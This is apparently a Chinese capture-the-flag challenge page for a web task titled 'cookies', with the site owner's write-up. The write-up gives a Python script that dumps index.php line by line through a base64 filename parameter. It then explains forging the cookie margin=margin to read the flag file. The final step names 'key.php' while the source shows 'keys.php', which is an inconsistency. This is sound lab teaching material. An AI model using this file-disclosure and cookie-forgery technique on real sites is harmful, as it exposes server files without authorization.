cookies

平台   WEB   已通过

题目作者: harry

一　　血: ‌‌‌‌‌jiangdie666

一血奖励: 1金币

解　　决: 5186

提　　示:

描　　述: cookies欺骗

站长题解:

跑出index.php源码来

import requests
import base64

file = base64.b64encode('index.php'.encode()).decode()

for i in range(30):
    url = f'http://114.67.175.224:11632/index.php?line={i}&filename={file}'
    s = requests.get(url)
    print(s.text)

源码

<?php

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(
'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
  $file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
  $fa = file($file);
  echo $fa[$line];
}
?>

然后构造 /index.php?line=&filename=base64('key.php')     修改 Cookie：margin=margin; 发请求获得flag

去做题